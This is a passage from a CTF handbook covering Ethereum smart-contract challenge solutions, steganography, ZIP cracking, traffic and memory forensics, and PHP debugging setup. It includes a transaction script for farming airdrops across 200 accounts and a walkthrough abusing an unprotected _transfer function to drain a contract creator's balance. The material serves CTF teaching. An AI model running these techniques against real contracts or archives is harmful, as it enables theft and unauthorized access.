balance to a special account address. The functions that implement this process are
split up and explained one by one below.
transaction_dict = {'from':Web3.toChecksumAddress(main_account),
'to':'',
'gasPrice':10000000000,
'gas':120000,
'nonce': None,
'value':3000000000000000,
'data':""
}
addr = args[0]
priv = args[1]
myNonce = runweb3.eth.getTransactionCount(Web3.toChecksumAddress
(main_account))
transaction_dict["nonce"] = myNonce
transaction_dict["to"] = Web3.toChecksumAddress(addr)
r = runweb3.eth.account.signTransaction(transaction_dict,
private_key)
try:
runweb3.eth.sendRawTransaction(r.rawTransaction.hex())
except Exception as e:
print("error1", e)
print(args)
return
while True:
result = runweb3.eth.getBalance(Web3.toChecksumAddress(addr))
if result > 0:
break
else:
time.sleep(1)
The above code snippet shows how to send a transaction using a script. A valid
transaction should have the following necessary elements.
① Several fields in transaction_dict that are essential for sending a transaction.
• from – the sender of the transaction,
• to – the recipient of the transaction,
• gasPrice – the amount of Ether you’re willing to pay for every unit of gas,
• gas – the maximum amount of gas you’re willing to spend on a particular
transaction,
• nonce – the number of transactions sent by the sender
• value – the amount of the transfer
• data – additional data, such as the opcode to create a contract or the parameters
to be passed when a function is invoked.
8.2 Examples of Smart Contract Topics in Ethereum 615
② Sign the transaction with the private key of the account that sending the
transaction.
③ Transactions after sending a signature to the blockchain.
Since we need to operate 200 accounts, so args is the account we need to operate in
the current iteration, transfer all the balance to main_account and private_key is the
private key of this account. The purpose of the above code is to transfer a certain
amount of ethereum to the account in the current iteration, because we need to pay
the gas to send the transactions, and the new accounts have no ethereum by default.
In order to finish these transactions, we need to get a certain amount of ethereum for
our main_account, because it is on the test network, we can use the link on Chrome’s
MetaMask plugin to get ethereal coins for free. Then use the ethereum on the
main_account to transfer enough ethereum to each sub-account for subsequent
transactions.
The above code is easy to understand if you have already understood the
previously described code snippets. First, send the transaction “transaction_dict2”,
the value of data is 0xd25f82a0, which means to call the getAirdrop function of the
smart contract. The first 4 bytes of data represent the function called, which is the
first 4 bytes sha3 hash of the function name.
>>> sha3.keccak_256(b"getAirdrop()").hexdigest()
'd25f82a06034f6f7dca4981c87dda1152fc95aa0a4ec5b54012
e2e0e5605d58e'
>>> sha3.keccak_256(b"transfer(address, uint256)").hexdigest()
'a9059cbb2ab09eb219583f4a59a5d0623ade346d9
62bcd4e46b11da047c9049b'
After getting the free 1000 balance, we then call the transfer function and transfer
the balance to the main account, the content of the data is 4 bytes of the function to
call + 32 bytes of the main account address + 32 bytes of the transfer balance. Repeat
the above process 200 times with different accounts, and the main account can also
receive a free airdrop, so that the balance of the master account is 201000, and you
can get the flag by calling the PayForFlag function.
In the above example, what if one can't figure out the value of the data field? This is
where Remix can help. We can call a function once manually through Remix, get the
value of the data field in the log area, and then copy it to the script.
This section explains the use of Remix based on the 2018 HCTF ez2win. This
challenge gives the contract address:
0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef, we go to Etherscan to get the
source code for the smart contract and then follow the steps below.
1. Open Remix, create a new ez2win.sol, copy the source code to the edit box, and
start compiling (Fig. 8.1).
2. After registering an account with MetaMask, switch the network to Rposten Test
Network according to the challenge (Fig 8.2).
3. To get the ethereal coin needed to send the transaction, click “Buy”, and under
Test Faucet, click “Get Ether”, and you will be redirected to a website to get an
ethereal coin (Fig. 8.3).
Then go back to Remix, click on the “Deploy & run transactions” tab, select
“Injected Web3” in “Environment”, then select “D2GBToken” in the “Contract”
box below, fill in the “At Address” field with the contract address provided by the
challenge, and then click “At Address” (Fig 8.4). We then will be able to invoke the
contract’s functions.
8.2 Examples of Smart Contract Topics in Ethereum 617
In the contract code of this challenge, we can easily find out that our target is to
call the PayForFlag function to get the flag; the limit of this function is that we need
to have a balance of more than 10,000,000 in the contract; the drop function allows
each user to get 10 free balance. In this challenge, we can still follow the idea of the
previous example, but the difference between the value of the airdrop and the value
required to get the flag is too large, so this solution is too costly and we need to run
the script for a long time, as a result we need to find another solution.
The interface of invoking functinos in Remix is shown in Fig. 8.5. The first five
functions are the public functions we can call, and below are some public variables.
Among the public functions, we can find the _transfer function.
8.2 Examples of Smart Contract Topics in Ethereum 619
This function allows us to transfer some amount of balance from one account to
another account, but not more than 10,000,000. With this function, the idea of the
solution is intuitive, because the contract is assigned a large amount of balance at the
time of initialization to the account that created the contract, so you can use this
function to transfer the balance of the account that created the contract to your own
account. If someone has already solve this challenge, and the balance of the origin
account is not enough, we can transfer the account with sufficient balance to our own
account by viewing the transaction.
The steps are as follows: enter the account address and the amount of balance to
transfer (Fig. 8.6), and then click “transact” to send the transaction. When the
transaction got confirmed, the status of the transaction can be viewed in the console.
620 8 Smart Contracts
In this section, we will take a deeper look at the ethereum blockchain through the
2018 HCTF ethre challenge. This challenge was built on a private network of the
ethereum blockchain.
The private network is essentially the same as the public chain, except that the
private network requires the same genesis block and chain ID information for
synchronization, and the private network’s configuration is non-public, while the
public network’s information is the default configuration in an ethereum program
(e.g. geth). This challenge provides a genesis.json file, which is used to initialize the
genesis block and provide the chain ID and server node information. This allows you
to connect locally to a private chain that has port 30303 enabled. First, initialize the
genesis block by.
Then start the local ethereum blockchain application, get the CLI interface via
attach, and add the server node.
$ geth
$ geth attach
> admin.addPeer("enode://xxx")
You can then wait for the local blockchain to connect to the remote, during which
you can generate a new account or import an existing one. In this challenge,
participants are asked to use a token given by the organizer as the private key for
their ethereum account.
8.2 Examples of Smart Contract Topics in Ethereum 621
That flag for this challenge comprises two parts, while the first part of the flag
requires the player's account balance be greater than 0. The private chain does not
have the free ethereal coin pickup interface of the test network, but it can be mined
just like a normal blockchain.
# Start mining
> miner.start()
To get the second part of the flag, we need to find the smart contract of the
challenge. There is no visual interface to a private chain, but we can write code in the
console to find all the transactions that exist inside the private chain.
Then look for the smart contract on this private chain through transactions. First,
we check the transaction information.
Some of the fields of the transaction have been briefly described earlier and we
will describe in depth here.
Transactions can be divided into three types: transfers, creating smart contracts,
and invoking smart contracts.
1. transfers
When the "value" of the transaction is not zero, it can be considered a transfer, and
when "data" is empty, it can be considered a pure transfer.
There are eight kinds of transfer operations: personal account ! personal
account, personal account ! smart contract, personal account ! smart contract
transfer and invoke smart contract, personal account ! create smart contract and
transfer to smart contract, smart contract ! personal account, smart contract !
smart contract, smart contract ! smart contract transfer and invoke smart contract,
smart contract ! create smart contract and transfer to smart contract. Where
personal ! personal, personal ! smart contract, smart contract ! personal, smart
contract ! smart contract are pure transfer operations.
622 8 Smart Contracts
different from a personal account except that it cannot send transactions, and we can
ignore such meaningless accounts.
As a result, we can find all contracts on the private chain by auditing the “to” field
of all transactions (when the “to” field is empty, it means contract creation), and then
filter all contracts created by the organizer by setting the from field. In this challenge,
the miner field of the first few blocks (the miner’s account that packaged the block)
represents the organizer's account.
By checking all transactions, we can only find one contract address, but there are
actually three contracts. That is beacuase, individual accounts can create smart
contracts, and smart contracts can also create smart contracts.
For the details of opcode, please refer to the official yellow paper.
https://github.com/yuange1024/ethereum_yellowpaper
To better explain the knowledge involved in the challenge, here is a reference source
code to explain the challenge.
https://github.com/Hcamael/ethre_source/blob/master/hctf2018.sol
A contract can be created in a contract at the Solidity level with “new
HCTF2018User( )” and opcode uses the CREATE instruction to create the contract.
The address of the smart contract created in the contract is calculated in the same way
as above.
It is recommended to use a disassembler to reverse the opcode. In the meantime,
the reader can use Remix for debugging to make the reverse process less difficult.
Start geth with the following parameters to enable RPC.
Select “Web3 Provider” in “Environment” of the “Deploy & run transactions” tab
of Remix, and fill in the address of RPC. Then, fill in the "Debugger" tab with the
transaction to be debugged, and you can start debugging. The debugger tracks the
CREATE instruction to the debugger, and the return value is the address of the
created contract.
The following is an explanation of the structure of some opcodes compiled by
Remix under normal circumstances. There are two types of opcode compiled by
Remix: CREATE opcode and RUNTIME opcode. The data field in the transaction
that creates the contract is CREATE opcode, which is structured as a constructor +
returning RUNTIME opcode. Generally, there is an EVM (Ethernet Virtual
Machine) built into the Ethernet program to execute the opcodes. How do we get
the value from the eth.getCode function? First, it look for the contract creation
transaction for the specified contract, then execute the CREATE Opcode in the
data field of the transaction, and the return value is what eth.getCode gets. This
content is called the RUNTIME opcode and has its own data structure.
First, the compiler performs a SHA3 hash calculation for each public function,
taking the first 4 bytes of the hash value, such as.
624 8 Smart Contracts
def main():
if CALLDATASIZE >= 4:
data = CALLDATA[:4]
if data == 0x6b59084d:
test1()
else:
jump fallback
fallback:
function () {} or raise
Functions without a function name, such as “function () {}”, which can be seen in
smart contracts, are called fallback functions and are called when the data field in the
transaction invoking the smart contract is empty or the first 4 bytes don't match any
of the function's hash values.
After determining which function to call, there are two more fixed structures:
when the payable keyword does not exist in the declaration of the function, it means
that the contract does not accept transfer, so in the opcode, it is necessary to judge
whether the “value” field of this transaction is 0. If it is not 0, an exception is thrown
and the transaction is rolled back (the transaction sender gets a full refund); if the
payable keyword exists, there is no such judgment structure. After the payable
keyword is checked, it is the section that accepts the parameter. If the parameters
do not exist, it jumps directly to the next code block, and if it exists, it gets the
parameters according to their types and locations.
Parameters exist in the data field of the transaction, after the 4-byte function hash
value, starting from the 5th byte, 32 bytes aligned, in order. But the arrays are
special, which stores the offset and length in order and then getting the parameter
values. The structure of the arrays is as follows.
struct array_arg {
uint offset;
uint length;
}
8.2 Examples of Smart Contract Topics in Ethereum 625
Next, we introduce data storage: the EVM has only code segments, the stack, and
storage; the stack temporarily stores data, and its life cycle is from the start of the
code segment to the end of the segment; while storage is used to store data
persistently which is similar to a computer's hard drive.
We can get the storage data of the corresponding contract through the console
function.
The most important thing is the calculation of the offset. Normal fixed-length
variables such as uint256, address, uint8 are listed in the order in which they are
defined, with the first fixed-length variable defined with an offset of 0, the second
with an offset of 1, and so on. Complex in-length variables, such as mapping is as
follows:
Offsets are determined by the keys and the order in which the variables are
defined, which ensures that the stored offsets are unique and the values between
two different mapping variables do not intersect.
While arrays use another kind of storage structure.
uint[] b;
offset = sha3(slot.rjust(64, "0")) + index
The data structure of arrays is vulnerable in that it only guarantees the uniqueness
of the storage start offset. Index is of type uint256, which can cause variable
overwriting problems if the length is not restricted. However, in the newer versions
of the compiler, the data in the array slot offset storage (Storage[slot]) represents the
length of the array, and the index is checked against the length when the array is
accessed, thus avoiding the problem of variable overwriting.
Note that not all function calls are required to send a transaction, generally only
when modifying the storage value or other operations that affect the blockchain
(such as creating a contract). Others, such as functions that get the storage value, can
be called directly from EVM.
# call test1
> eth.call({to: "contract address", data: "0x6b59084d"})
"0x0000000000000000000000000000000000000
0000000000000000000000000"
626 8 Smart Contracts
Now we back to our ethre challenge. The next step in this challenge is to find out
the other two contracts and then reverse them. As you can see from the source code,
they are not particularly complex contracts.
Other smart contracts can be called in a smart contract, but it has a special
meaning when the address of the smart contract is 1 to 8, which is called Precompile
in the official documentation, and this challenge performs RSA cryptography with
call(4) and call(5):
me ðmodnÞ
The final solution to this challenge is to store a given value at a particular location, let
the server get the value at the given location, compare it with the expected result, and
then return the flag if successful.
With the smart contract source code available, this challenge is a very easy
challenge. The origin challenge examines the participant's ability to reverse the
smart contract opcode.
8.3 Summary
In the current CTF competition, smart contract challenges cannot be made very
difficult, and the general category is as follows.
The first type of challenge is those with Solidity source code, which are of limited
difficulty. The complexity increases with the amount of code, which at most
increases the time spent on the challenge instead of increasing the difficulty.
The second type is source-less reverse opcode challenges, which are similar to
regular binary reverse challenges, and the difficulty of these challenges can be
increased by using handwriting opcode and adding obfuscation. Besides, most of
the challenges are related to the latest blockchain news and vulnerabilities.
Because of the blockchain's P2P architecture, anyone on the blockchain is a
client, and except for the private key of a person's account, which is secret, all
other information is public and transparent, which leads to the situation that when a
participant solves a challenge, other contestants can observe the transaction history
of the solution, which greatly decreases the difficulty of solving the challenge. How
to make it impossible for a participant who did not solve the challenge to reproduce
the solution through the transaction records is something that organizers need to be
aware of. Similarly, there is no way to hide data on the blockchain, private variables
can be obtained directly from eth.getStorage. Private functions can be obtained
through reversing opcode. These are the difficulties of develop smart contract
challenges in CTF.
Chapter 9
Misc
© The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2022 627
Nu1L Team, Handbook for CTFers,
https://doi.org/10.1007/978-981-19-0336-6_9
628 9 Misc
had to rely on their own experience and conjecture to solve a challenge, and it’s a test
not only for the participants but also for the challenge author.
4. examine the breadth and depth of the participants’ knowledge.
This type of challenge is close to the traditional Hacker spirit which finding
something different in the common things. They often start with files, programs,
or devices that are commonly used in everyday life, such as Word documents, shell
scripts, or smart IC cards, and look for a deeper understanding of these common
things, such as restoring a MySQL database as much as possible from an incomplete
MYD file, bypassing the increasingly restrictive Python/Bash sandbox, or analyzing
data from smart cards. Sometimes these challenges involve some computer science
or engineering expertise, such as digital signal processing, digital circuits, etc. These
challenges are often the most difficult ones in the Misc category, but the knowledge
and experience gained from solving them are also the most valuable.
5. examine the ability to learn quickly
These challenges are similar to the previous ones, but the technical knowledge tested
is less general, even no one would normally use them. For example, one challenge in
the 2018 Plaid CTF examines a programming language called APL, which is a very
old, obscure, and difficult programming language that requires the use of many
special symbols when programming. However, if the participant can understand the
logic of the given APL code, the flag can be easily solved. This kind of challenge
requires a high level of information acquisition and absorption ability, so keep in
mind that search engines are your best companions when solving these challenges.
Although there are many different types of Misc challenges, it is one of the most
accessible CTF challenge types for beginners, examines the basics of each area, and
is an excellent material for developing an interest in information security technology.
Due to space limitations, this chapter will cover some of the most representative of
these types of challenges, namely steganography, packet analysis, and forensics.
9.1 Steganography
Most files have a fixed file structure, and common image formats such as PNG, JPG,
etc. are composed of a specific set of data blocks.
For example, a PNG file consists of four standard data blocks – IHDR (Image
Header Data Block), PLTE (Palette Data Block), IDAT (Image Data Block), and
IEND (Image End Data Block) – and several auxiliary data blocks. Each data block
consists of four parts: Length, Chunk Type Code, Chunk Data, and CRC (Cyclic
Redundancy Check Code).
A PNG file always starts with a fixed sequence of bytes (89 50 4E 47 0D 0A 1A
0A), and we can generally identify the file as a PNG file based on this. The Image
9.1 Steganography 629
End Data Block IEND is used to mark the end of the PNG file. the length of the
IEND data block is always 00 00 00 00 and the chunk type code is always 49 45 4E
44, so the CRC is fixed to AE 42 60 82. therefore, a typical PNG file starts with a
fixed sequence of bytes 00 00 00 00 49 45 4E 44 AE 42 60 82. The following content
will be ignored by most image viewing software, so you can add additional content
after the IEND data block without affecting the image viewing, and the added
content will not be detected under normal circumstances.
Select a PNG image and open it using Windows’ image viewer “Photos”, as
shown in Fig. 9.1. Open the PNG image with a binary editor and observe the header
and footer, as shown in Figs. 9.2 and 9.3.
You can add anything you want to the end of the file (see Fig. 9.4), such as adding
the character “HELLO WORLD” directly to the end of the file. Still open the file
with “Photos” (see Fig. 9.5), and find that there is no change from before the changes
(see Fig. 9.1), the “HELLO WORLD” just added will not change the appearance of
the picture.
Not only the characters, but we can even add entire other files to the image
without seeing any changes in the image viewer.
630 9 Misc
Fig. 9.6 The binary content of a ZIP file attached to the end of a PNG image
To separate the files attached to an image, you can determine the type of file
attached to the image by looking at the file header information implied in the binary.
Some common file header and file end will be introduced in the following list.
• JPEG (jpg): File header, FF D8 FF; End of the file, FF D9.
• PNG (png): file header, 89 50 4E 47; End of file, AE 42 60 82.
• GIF (gif): file header, 47 49 46 38; End of file, 00 3B.
• ZIP Archive (zip): file header, 50 4B 03 04; End of file, 50 4B.
• RAR Archive (rar), file header: 52 61 72 21.
• Wave (wav): file header, 57 41 56 45.
• AVI (avi): file header, 41 56 49 20.
• MPEG (mpg): file header, 00 00 01 BA.
• MPEG (mpg): file header, 00 00 01 B3.
• Quicktime (mov): file header, 6D 6F 6F 76.
Binwalk is often used in CTF to extract other files from an image. Binwalk is an
open-source firmware analysis tool that can identify or extract various types of files
that appear in firmware based on some of their characteristics. Binwalk is often used
in CTF to extract other files from one file, such as the binary content of a ZIP file
attached to the end of a PNG image, see Fig. 9.6.
Binwalk can automatically analyze multiple files contained in a file and extract
them, see Fig. 9.7.
9.1 Steganography 631
XXXX.. Directory
IFD0 (main image)
LLLLLLLL Link to IFD1
XXXX.. Directory
Exif SubIFD
00000000 End of Link
XXXX.. Directory
Makernote IFD
00000000 End of Link
XXXX.. Directory
IFD1(thumbnail image)
00000000 End of Link
9.1.2 EXIF
EXIF (Exchangeable Image File Format) can be used to record property information
and capture data for digital photos and can be attached to JPEG, TIFF, RIFF, etc.
files to add content about the information captured by the digital camera, thumbnails,
or some version information of image processing software.
Select a sample image (in JPEG format) that comes with Windows, and view its
properties by right-clicking on it, where information such as author, shooting date,
copyright, etc. is stored.
632 9 Misc
The EXIF data structure is roughly shown in Fig. 9.8 (referenced from http://
www.fifi.org/doc/jhead/exif-e.html). Open this image in the binary editor and com-
pare the EXIF structure to see some of the EXIF information (see Fig. 9.9). We can
use a binary editor to modify the information manually, or we can use tools such as
ExifTool to view and modify the EXIF file information.
Add a tag to this image with the command “exiftool
-comment¼ExifModifyTesting ./Lighthouse.jpg” and with the command “exiftool
. /Lighthouse.jpg” to view the EXIF information (see Fig. 9.10). We can use this to
hide some of the information in this way.
9.1.3 LSB
LSB is the Least Significant Bit. In most PNG images, each pixel consists of three
primary colors R, G, and B (some images also contain an A channel for transpar-
ency), and each color is typically represented by 8 bits of data (0x00 to 0xFF), Small
changes in pixels cannot be distinguished by the human eye if its lowest bit is
modified. We can hide the information by using the least significant bit of the R, G,
and B color components of each pixel so that each pixel can carry 3 bits of
information.
Prepare an image (see Fig. 9.11), and then hide a string in this image using an
LSB steganography.
9.1 Steganography 633
Example.
#coding:utf-8
from PIL import Image
def str2bin(s):
str = ""
for i in s :
str +=(bin(ord(i))[2:]).rjust(8,'0')
return str
def lsb_encode(infile,data,outfile):
img = Image.open(infile)
width = img.size[0]
height = img.size[1]
count = 0
msg = str2bin(data)
mlen = len(msg)
for h in range(0,height):
for w in range(0,width):
pixel = img.getpixel((w,h))
rgb=[pixel[0],pixel[1],pixel[2]]
for i in range(3):
rgb[i] = (rgb[i] & 0xfe) + (int(msg[count])&1)
count+=1
if count >= mlen :
img.putpixel((w,h),(rgb[0],rgb[1],rgb[2]))
break
img.putpixel((w,h),(rgb[0],rgb[1],rgb[2]))
if count >=mlen :
break
if count >= mlen :
break
img.save(outfile)
# Original image
old = "./testing.png"
# Implicit image
new = "./out.png"
# Information to be hidden
enc = "LSB_Encode_Testing"
lsb_encode(old,enc,new)
lsb_decode(18,new,flag)
Fig. 9.13 Use Stegsolve extract the least significant bit of the three channels R,G,B
the waveform in the time domain is reduced to a sine wave, it can be represented in
the frequency domain by a single note.
The Fourier Transform is used to convert a signal represented in the time or
spatial domain into the frequency domain. The Fourier Transform is derived from
the study of the Fourier series. In the study of the Fourier series, a complex periodic
function can be represented as the sum of a series of simple sine waves. By applying
the Fourier transform to the signal function, the sine wave of each frequency can be
separated, and the spectrum of the different component frequencies can be obtained
by expressing them as peaks in the frequency domain. You can refer to the “Signals
and Systems” textbook for more information.
After getting the frequency domain image of the image, the watermark is encoded
and then distributed to the frequencies, and then superimposed on the frequency
domain of the original image, apply the inverse Fourier Transform to the spectrum,
and then the image with the blind watermark is obtained. This operation is equivalent
to adding noise to the original signal, which spreads over the whole image and is not
likely to damage the image in the spatial domain.
To extract a blind watermark from an image, simply subtract the original image
and the image with the watermark in the frequency domain, and then decode the
watermark according to the original watermark encoding method.
The BlindWaterMark (https://github.com/chishaxie/BlindWaterMark) tool can
be used to add and extract blind watermarks from images in CTF. Similar techniques
are often used in audio. For audio spectrum steganography, we can simply use tools
like Adobe Audition to view the spectrum directly and get the flag.
There are many other ways that images can be steganographed. Broadly speaking, as
long as the information is hidden in the image in a way that is difficult to find by
ordinary means, it can be called image steganography. In this section, we only briefly
introduced some common ways of image steganography. After understanding the
common basic principles of image steganography, readers can try to steganograph
images in different ways on their own.
1. Brute-force cracking
Brute-force cracking is the most direct and simple way to attack, suitable for simple
passwords or when the format or range of the password is known, related tools are
ARCHPR on Windows or Linux command-line tool fcrackzip.
638 9 Misc
2. ZIP pseudo-encryption
In a ZIP file, the file header and the core directory area of each file are marked with
common token bits. The generic token bit in the core directory area is offset from the
core directory area header 504B0102 by 8 bytes, which itself occupies 2 bytes, and
the lowest bit indicates whether the file is encrypted or not (see Fig. 9.16). The
passphrase will be asked when opening the archive again after changing the bit to
0x01. However, at this time, the content of the file is not really encrypted, so it is
called pseudo-encryption and can be opened normally by changing the flag bit back
to 0.
In addition to modifying the Universal Flags bit, it is also possible to extract files
from a zip file with pseudo-encryption using the “binwalk –e” command of the
aforementioned Binwalk tool. In addition, it is possible to open pseudo-encrypted
ZIP archives directly in macOS.
Similarly, the generic flag bit at the file header is offset 6 bytes from the file
header 504B0304, which itself occupies 2 bytes, the lowest bit indicating whether
the file is encrypted or not. However, pseudo-encrypted tarballs with this bit changed
to 0x01 cannot be extracted directly by Binwalk or MacOS, and the flag bit needs to
be modified manually.
3. known-plaintext attacks
The password we set for the ZIP file is first converted into three 4-byte keys, and then
these three keys are used to encrypt all the files. If we can somehow get one of the
files in the zip file, and then compress it in the same way, there will be a 12-byte
difference in the size of the same file in the two zip files, and then we can use
ARCHPR to compare and filter them, we can get the key, and then recover the
unencrypted zip file according to this key. For shorter passwords, we can wait for
ARCHPR to recover them, but we are more concerned about the contents of the
archive, so we often choose not to brute-force attack the passwords. This type of
attack is a known-plaintext attack. Due to space limitations, we will not go into the
specific principles of this attack here, and interested readers can search for relevant
information to learn more.
9.4 Forensic Techniques 639
9.3 Summary
There are few ways to attack a compressed archive, and it is generally difficult to
crack the files in an encrypted archive if a strong password is used and the files in the
archive are not compromised, or if different passwords or encryption methods are
used to encrypt different files in the same packet.
Wireshark’s “Statistics” menu allows you to view the general situation of traffic
packets, such as which protocols are included, which IP addresses participated in the
session, etc. Figures 9.19 and 9.20 show the protocol hierarchy statistics and session
statistics respectively. These two functions can help us quickly locate the traffic we
need to analyze because traffic analysis in CTF often has a lot of noise traffic, and the
traffic required by the challenge author for the challenge is usually obtained in the
LAN or a few hosts, so by viewing the traffic information, we can greatly save the
time of finding the traffic to analyze.
The most widely used transport layer protocol in computer networks is TCP, a
connection-oriented protocol that allows both parties to ensure that the transmission
is transparent and that they only care about the data they get. However, in practice,
due to the presence of MTUs, TCP traffic can be sliced into many small packets,
making it difficult to analyze. To address this situation, Wireshark provides a Follow
TCP Stream feature, which allows you to get all the data transmitted between two
parties in a TCP session by selecting a datagram and right-clicking “Follow TCP
Stream”.
9.4 Forensic Techniques 641
CLIENT_RANDOM cbdf25c6b2259a0b380b735427629e94abe5b070634c70bd9efd
7ee76c0b9dc06782ad3aa59
38c43831971a06e9a20eac27075d559799769ce5d1a3ea85211c981d8e67f75
d6fd11fcf5536f331a968b
CLIENT_RANDOM 247f33720065429dc7e017e51f8b904309685ec868688296011c
d3c53e5bafa75a 921ffbf7bf
e6d8c393000f34eab6dc20486e620bdc90f21b6037c3df5592ef91fffca1dc8
215699687a98febd45a4ce0
642 9 Misc
CLIENT_RANDOM 2000cef83c759e5e0c8bbdbd0a05388df25014fc32008610577c
cd92d5fa3e3e 4c03f7a409
b6e0ab7a0b793485696c02ab7743c1a9fda0039b0f7ac05205cf209d5855261
ece18897dbe43a116b73627
CLIENT_RANDOM c5dd1755eff2a51b5d4a4990eca2cc201d9b637cd8ad217566f2
1194e19d6f60 c3a065698
b99629875b03d6754597349612e6e7468ef66dcf8f277f9e84396ae55a1b722
48019df1608ca3962f617252
CLIENT_RANDOM 11ae1440556a6e740fd9a18d0264cd4c49749355dcf7093daad9
65030a21fcfe 219786b326
ccf760cd787de3cc7e1dcd668a1a3d336170334f879b061cec81131fff4850c
e5c6ea15d907be8a36638b7
Once this form of key log is obtained, we can open Wireshark’s preferences,
select the SSL protocol in the “Protocols” option, and then fill in the path of the key
file in the “(Pre)-Master-Secret Log Filename” option (see Fig. 9.21), and then you
can decrypt part of the SSL traffic.
Due to the complexity of network protocols, there are far more places to hide data
than just the normal transmission traffic. Therefore, when analyzing network traffic
packets, if you cannot find a breakthrough in the data transmitted in the normal way,
you need to focus on some protocols that seem to be anomalous in the traffic packets,
and carefully examine each field to see if there are any evidence of hidden data.
Figures 9.22 and 9.23 are examples of using the length of the ICMP datagram to hide
information in a CTF competition.
9.4 Forensic Techniques 643
There are some special kinds of traffic analysis in CTF, and the traffic packets
provided in the challenge are not network traffic, but other types of traffic. In this
section, we will introduce how to analyze USB keyboard and mouse traffic.
The USB traffic packets are shown as Fig. 9.24 in Wireshark. In CTF, we only
need to focus on the USB Capture Data, which is the acquired USB data that can be
used to determine different USB devices based on the form of the data. Detailed
documentation on USB data is available on the USB website, such as https://www.
644 9 Misc
After getting the data, according to the previous meaning, using languages such
as Python, you can write scripts to restore the information, get the information and
analyze it further.
9.4 Forensic Techniques 645
In CTF, there are various challenges on packet analysis, and the above is only a brief
introduction to the common technique points and basic problem-solving ideas. If
you encounter other types of challenges, you need to be familiar with the
corresponding protocols and analyze where information may be hidden.
When we get a memory image, we first need to determine the basic information
about the image, the most important of which is to determine what operating system
646 9 Misc
the image belongs to. Use the imageinfo command in Volatility framework to get the
basic information of the image, see Fig. 9.26.
Once we have the image information, we can then use a specific profile to analyze
the image. Since a memory image is a context in which the computer is running at a
certain time, the first thing to get is what processes are running at that time. Volatility
provides several commands for analyzing processes, such as pstree, psscan, pslist,
etc. These commands vary in strength and output. Figure 9.27 shows the process
information obtained using psscan.
In addition, the filescan command can scan for open files, as shown in Fig. 9.28.
When a file or process is identified as suspicious in memory, you can use the
dumpfile and memdump commands to export the data and then perform binary
analysis on the exported data.
The Screenshot function can take a screenshot of the system at this moment, see
Fig. 9.29.
9.4 Forensic Techniques 647
Volatility supports several unique features for different systems, such as the
ability to retrieve the text directly from the open Notepad process on Windows, or
the ability to Dump the password hash value contained in memory for the Windows
login.
Volatility supports third-party plugins, and many developers have developed
powerful plugins such as https://github.com/superponible/volatility-plugins. When
the commands that come with the framework don't meet your needs, look for a good
plug-in.
Similar to memory forensics, the first step in disk forensics is to determine the type of
disk and mount the disk, which can be done using the file command that comes with
UNIX/Linux, see Fig. 9.30.
After confirming the type, you can use the “fdisk –l” command to view the
volume information on the disk and get the volume type, offset, etc. See Fig. 9.31.
Then you can use the “mount” command to mount the disk image. The format of the
command is as follows.
mount -o <option> -t <File system type> <Image path> <Mount point path>
For local file mounts, the “loop” option is usually included, and if it is a multi-
partition image as described above, then the “offset” option should be added and its
value should be specified. If the file system is not natively supported by the system,
you need to install the relevant driver, such as NTFS-3g driver for NTFS file system
mounts under Linux. The folder after successful mounting is shown in Fig. 9.32.
Once mounted, the challenge author must have operated on the file system when
making the image, so the file system can be analyzed for traces of use in the ordinary
forensic steps. For example, in the “.bash_history” file in the Linux file system and
the Recent folder in Windows, there is a history of file system operations, see
Fig. 9.33.
650 9 Misc
Once a suspicious file is obtained, it can be extracted for binary analysis. In most
cases, the suspicious file itself uses other information hiding techniques, such as
steganography.
Some disk image forensics type challenges focus on the unique characteristics of
certain file systems, such as inode recovery in the EXT series file system, FAT table
recovery in the FAT series file system, the snapshot characteristics of the APFS file
system, and nanosecond time stamp characteristics, etc. When you encounter bot-
tlenecks in file analysis, you may wish to understand the characteristics of the file
system itself to find a breakthrough.
Disk forensics challenges are similar to memory forensics challenges, often com-
bined with compressed archive analysis, image steganography, and other types of
challenges. As long as the participants are familiar with common images, can
determine the types of images and mount or extract files, and with a certain
understanding of the file system, they can successfully solve the disk forensics-
related challenges.
9.5 Summary
In CTF contests, there are often a variety of code auditing challenges, and it can be
said that the code auditing procedures in the CTF challenges are very close to reality.
The essence of code audit is to find defects in the code, this chapter only takes the
mainstream PHP and Java languages code audit as an example, so that the reader not
only understands the CTF code audit challenges but also can accumulate some real-
world code audit experience.
As the saying goes, “A handy tool makes a handyman”, before formally auditing
PHP code, you need to make sure that you have the right tools and development
environment, so that you can get twice the result with half the effort when auditing.
PHP code auditing can be divided into two main approaches, static analysis and
dynamic analysis.
• Static analysis is the process of analyzing the PHP program to find problems in it
without actually executing it.
• Dynamic analysis is the process of executing the PHP program on a real or virtual
processor, and by observing the values generated at runtime, such as variable
contents, function execution results, etc., the purpose is to clarify the code flow,
analyze function logic, etc., and dig out the loopholes from it.
Since there are many techniques for dynamic debugging, this section takes dynamic
debugging as an example and explains in detail how to build a dynamic debugging
environment.
First, you need to install PHP to your computer. Since there are many prebuilt
PHP integrated environments, such as xampp, phpstudy, mamp, etc. in this part we
© The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2022 651
Nu1L Team, Handbook for CTFers,
https://doi.org/10.1007/978-981-19-0336-6_10
652 10 Code Auditing
will choose phpstudy, you can choose any PHP development environment according
to your own preference. After installing the PHP, you shoud install XDebug which is
the extension for dynamic analysis (you can go to XDebug’s homepage https://
xdebug.org/download.php to download a compatible version with your own
environment).
If you don’t know the version of XDebug to choose or don’t know how to install
it, you can use the tools provided by https://xdebug.org/wizard.php (see Fig. 10.1)
and then visit the local environment’s phpinfo page in your browser (see Fig. 10.2).
Click the “Analyse my phpinfo() output” button. Paste the entire phpinfo output into
the text box in Fig. 10.1 and click the “Analyse my phpinfo() output” button to see
the installation guide that XDebug provided, see Fig. 10.3.
Then download the DLL file given in Fig. 10.3 and place it in the ext directory of
the PHP directory, and modify the php.ini file. Open the php.ini file and add the
following lines to the end of that file.
[XDebug]
; The directory where the profiler output will be written to, make sure
that the user who the PHP will be running as has write permissions to that
directory.
xdebug.profiler_output_dir="C:\phpStudy\PHPTutorial\tmp\xdebug"
10.1 PHP Code Auditing 653
Save the file, restart Apache, open the phpinfo page, and then search for the
